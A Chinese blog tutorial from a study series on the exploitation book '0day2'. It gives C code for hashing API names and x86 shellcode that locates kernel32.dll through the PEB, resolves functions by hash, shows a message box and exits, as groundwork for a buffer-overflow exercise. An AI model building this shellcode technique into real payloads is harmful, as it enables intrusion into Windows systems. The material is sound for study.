旧书重温:0day2【4】动态获取函数地址
通过以上3篇文章的学习,我们已经可以获取到kernel32.dll的地址了下一步 我们就是获取几个重要的函数
1.GetProcAddress 2.LoadLibrary 有了这两个函数很多函数都可以找到了,这节的目的最终就是找到这两个函数,为了便于测试和验证我们还要动态获取下MessageBoxA函数,最后弹出个对话窗口,还要安全退出那就要用到ExitProcess。
那么咱们就结合0day2第三章的知识,通过hash来查找的相应的函数名称,再间接获取函数地址
首先我们先来找到hash
1 #include "stdafx.h" 2 #include <stdio.h> 3 #include <windows.h> 4 DWORD GetHash(char *fname) 5 { 6 printf("%s",fname); 7 DWORD dret = 0; 8 while(*fname) 9 { 10 dret = ((dret<<25)|(dret>>7)); 11 dret += *fname; 12 fname++; 13 } 14 printf(" function`s hash is %.8x\n",dret); 15 return dret; 16 } 17 int main(int argc, char* argv[]) 18 { 19 //char fname[]={"MessageBoxA"}; 20 //DWORD dret = GetHash(fname); 21 Gethash("ExitProcess"); 22 GetHash("MessageBoxA"); 23 GetHash("LoadLibraryA"); 24 GetHash("GetProcAddress"); 25 return 0; 26 }
MessageBoxA function`s hash is 1e380a6a ExitProcess function`s hash is 4fd18963 LoadLibraryA function`s hash is 0c917432 GetProcAddress function`s hash is bbafdf85
代码执行结果。
1 nop 2 nop 3 nop 4 nop 5 CLD // clear flag DF 6 push 0x1e380a6a //msg hash 7 push 0x4fd18963 // exit hash 8 push 0x0c917432 //LoadL hash 9 //push 0xbbafdf85 //GetProc hash 10 mov esi,esp //esi = addr of first function GetProc`s addr 11 lea edi,[esi+0x0c] //edi = addr of last function msg`s addr 12 13 // make some stack space to protect hash list 14 15 xor ebx,ebx //ebx = 0 16 mov bh,0x04 17 sub esp,ebx //esp-0x400 抬高堆栈 保护hash list 18 19 //push pointer to user32 onto stack 20 mov bx,0x3233 //23 21 push ebx 22 push 0x72657375 //resu 23 push esp 24 xor edx,edx 25 26 //find base addr of kernel32dll 27 mov ebx,fs:[0x30] 28 mov ecx,[ebx +0x0c] 29 mov ecx,[ecx +0x1c] // dll链表 30 mov ecx,[ecx] // 获取地2个链表 31 mov ecx,[ecx] // 获取第三个链表 win7 下必须加这一行, xp下注释这行 32 mov ebp,[ecx +0x08] 33 34 find_lib_functions: 35 36 lodsd //esi 所指定的字符 传送如eax 37 cmp eax,0x1e380a6a 38 39 jne find_functions 40 xchg eax,ebp 41 call [edi - 0x8] 42 xchg eax,ebp 43 44 find_functions: 45 pushad 46 mov eax,[ebp+0x3c] 47 mov ecx,[ebp+eax+0x78] 48 add ecx,ebp 49 mov ebx,[ecx+0x20] 50 add ebx,ebp 51 xor edi,edi 52 53 next_function_loop: 54 inc edi 55 mov esi,[ebx+edi*4] 56 add esi,ebp 57 cdq 58 59 hash_loop: 60 movsx eax,byte ptr[esi] 61 cmp al,ah 62 jz compare_hash 63 ror edx,7 64 add edx,eax 65 inc esi 66 jmp hash_loop 67 68 compare_hash: 69 cmp edx,[esp+0x1c] 70 jnz next_function_loop 71 mov ebx,[ecx+0x24] 72 add ebx,ebp 73 mov di,[ebx+2*edi] 74 mov ebx,[ecx+0x1c] 75 add ebx,ebp 76 add ebp,[ebx +4*edi] 77 xchg eax,ebp 78 pop edi 79 stosd 80 push edi 81 popad 82 cmp eax,0x1e380a6a 83 jne find_lib_functions 84 85 function_call: 86 xor ebx,ebx 87 push ebx 88 push 0x61616161 89 push 0x62626262 90 mov eax,esp 91 push ebx 92 push eax 93 push eax 94 push ebx 95 call [edi-0x04] 96 push ebx 97 call [edi-0x08] 98 nop 99 nop 100 nop 101 nop
以上代码可以在win7下成功运行,只是不兼容xp,xp下测试要注释掉31行处。
所以我们还得想办法。
解决xp win7兼容问题,以下代码来自看雪 http://bbs.pediy.com/showthread.php?t=122260&highlight=next_module 感谢cryin
但非常可惜的是这种方法在Win7下是不适用的,所以很高兴现在给大家分享国外网站上看到的一种新的方法来定位kernel32.dl的基地址,该方法可以在所有windows版本上适用!这种方法通过在InInitializationOrderModuleList中查找kernel32.dll模块名称的长度来定位它的基地址,因为"kernel32.dll"的最后一个字符为"\0"结束符。所以倘若模块最后一个字节为"\0"即可定位kernel32.dll的地址; 具体代码实现方法: ;find kernel32.dll find_kernel32: push esi xor ecx, ecx mov esi, [fs:ecx+0x30] mov esi, [esi + 0x0c] mov esi, [esi + 0x1c] next_module: mov eax, [esi + 0x8] mov edi,[esi+0x20] mov esi ,[esi] cmp [edi+12*2],cx //判断下 12 字符处是否为字符串结尾, kernel32.dll 就是12个长度 jne next_module pop esi Ret
经过改造和测试(xp win7下测试通过的代码)的汇编代码
1 // 兼容win7 xp 的获取kernel32.dll地址,查找所需函数并弹窗的测试 2 _asm 3 { 4 nop 5 nop 6 nop 7 nop 8 CLD // clear flag DF 9 push 0x1e380a6a //msg hash 10 push 0x4fd18963 // exit hash 11 push 0x0c917432 //LoadL hash 12 //push 0xbbafdf85 //GetProc hash 13 mov esi,esp //esi = addr of first function GetProc`s addr 14 lea edi,[esi+0x0c] //edi = addr of last function msg`s addr 15 16 // make some stack space to protect hash list 17 18 xor ebx,ebx //ebx = 0 19 mov bh,0x04 20 sub esp,ebx //esp-0x400 抬高堆栈 保护hash list 21 22 //push pointer to user32 onto stack 23 mov bx,0x3233 //23 24 push ebx 25 push 0x72657375 //resu 26 push esp 27 xor edx,edx 28 29 //find base addr of kernel32dll 30 find_kernel32: 31 mov ebx,fs:[edx + 0x30] // 加上这个 edx 可以缩短shellcode长度,还没有00 32 mov ecx,[ebx +0x0c] 33 mov ecx,[ecx +0x1c] // dll链表 34 //mov ecx,[ecx] // 获取地2个链表 35 //mov ecx,[ecx] // 获取第三个链表 36 push edi 37 push esi 38 next_module: 39 40 mov ebp,[ecx +0x08] // dll 的地址 41 mov edi,[ecx+0x20] // AddressOfNames 42 mov ecx,[ecx] 43 cmp [edi+12*2],dx 44 jne next_module 45 46 pop esi 47 pop edi 48 49 50 find_lib_functions: 51 52 lodsd //esi 所指定的字符 传送如eax 53 cmp eax,0x1e380a6a 54 55 jne find_functions 56 xchg eax,ebp 57 call [edi - 0x8] 58 xchg eax,ebp 59 60 find_functions: 61 pushad 62 mov eax,[ebp+0x3c] 63 mov ecx,[ebp+eax+0x78] 64 add ecx,ebp 65 mov ebx,[ecx+0x20] 66 add ebx,ebp 67 xor edi,edi 68 69 next_function_loop: 70 inc edi 71 mov esi,[ebx+edi*4] 72 add esi,ebp 73 cdq 74 75 hash_loop: 76 movsx eax,byte ptr[esi] 77 cmp al,ah 78 jz compare_hash 79 ror edx,7 80 add edx,eax 81 inc esi 82 jmp hash_loop 83 84 compare_hash: 85 cmp edx,[esp+0x1c] 86 jnz next_function_loop 87 mov ebx,[ecx+0x24] 88 add ebx,ebp 89 mov di,[ebx+2*edi] 90 mov ebx,[ecx+0x1c] 91 add ebx,ebp 92 add ebp,[ebx +4*edi] 93 xchg eax,ebp 94 pop edi 95 stosd 96 push edi 97 popad 98 cmp eax,0x1e380a6a 99 jne find_lib_functions 100 101 function_call: 102 xor ebx,ebx 103 push ebx 104 push 0x61616161 105 push 0x62626262 106 mov eax,esp 107 push ebx 108 push eax 109 push eax 110 push ebx 111 call [edi-0x04] 112 push ebx 113 call [edi-0x08] 114 nop 115 nop 116 nop 117 nop 118 }
此代码兼容xp_win7 弹窗
接下来我们 提取shellcode,并结合第一节课,做成功溢出的实验
感谢 failwest、cryin
----------------------------------------------------
| QQ252738331
| Q群: 104132152(群名称是缓冲区溢出|汇编|逆向)
| 微博: http://t.qq.com/zhenw0
----------------------------------------------------